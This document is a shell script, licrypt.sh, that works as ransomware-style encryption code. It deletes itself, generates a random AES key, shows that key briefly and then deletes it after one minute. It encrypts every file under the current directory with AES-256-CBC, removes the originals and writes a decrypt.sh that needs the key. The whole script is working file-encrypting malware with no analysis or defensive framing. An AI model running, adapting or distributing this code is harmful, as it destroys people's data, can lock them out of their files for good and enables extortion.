licrypt.sh

#!/bin/sh
rm -f $0
if [ ! -d /tmp/689 ]; then
 mkdir /tmp/689
fi
openssl genpkey -out /tmp/689/m2.p -algorithm rsa -pkeyopt rsa_keygen_bits:4096
openssl pkey -in /tmp/689/m2.p -out /tmp/689/m5.p -pubout
dk=$(openssl rand -hex 16)
echo $dk | openssl pkeyutl -encrypt -pubin -inkey /tmp/689/m5.p -out /tmp/689/dke.d
openssl pkeyutl -decrypt -inkey /tmp/689/m2.p -in /tmp/689/dke.d -out /tmp/689/dk.dat
echo "[+] Your key is = $(cat /tmp/689/dk.dat)"
echo "[+] Your key is = $(cat /tmp/689/dk.dat)" > /tmp/689/key.txt
sleep 1m
rm -rf /tmp/689
for fn in `find * -type f`; do
  if [ ! -f $fn ]; then
    continue
  fi
  openssl sha256 -r $fn > $fn.6
  iv=$(openssl rand -hex 16)
  echo $iv > $fn.9
  openssl enc -aes-256-cbc -K $dk -iv $iv -in $fn -out $fn.8
  rm $fn
  echo "[+] $fn Success"
  echo "[+] $fn Success" >> log.txt
done
cat <<'EOF' > decrypt.sh
#!/bin/sh
if [ ! $1 ];then
echo "Usage : bash $0 key"
echo "Example : bash $0 29c9705b208c22f87114c1ad47f764fa"
exit
fi
for fe in `find * -type f -iregex '.+\.8'`; do
  fn=$(echo $fe | sed -e 's/\.8$//')
  iv=$(cat $fn.9)
  openssl enc -aes-256-cbc -d -K $1 -iv $iv -in $fn.8 -out $fn
  if openssl sha256 -r $fn | diff -q - $fn.6; then
    rm $fn.6 $fn.9 $fn.8
  else
    echo "$fn: digest mismatch" >&2
  fi
done
EOF
echo "[+] decrypt.sh created...."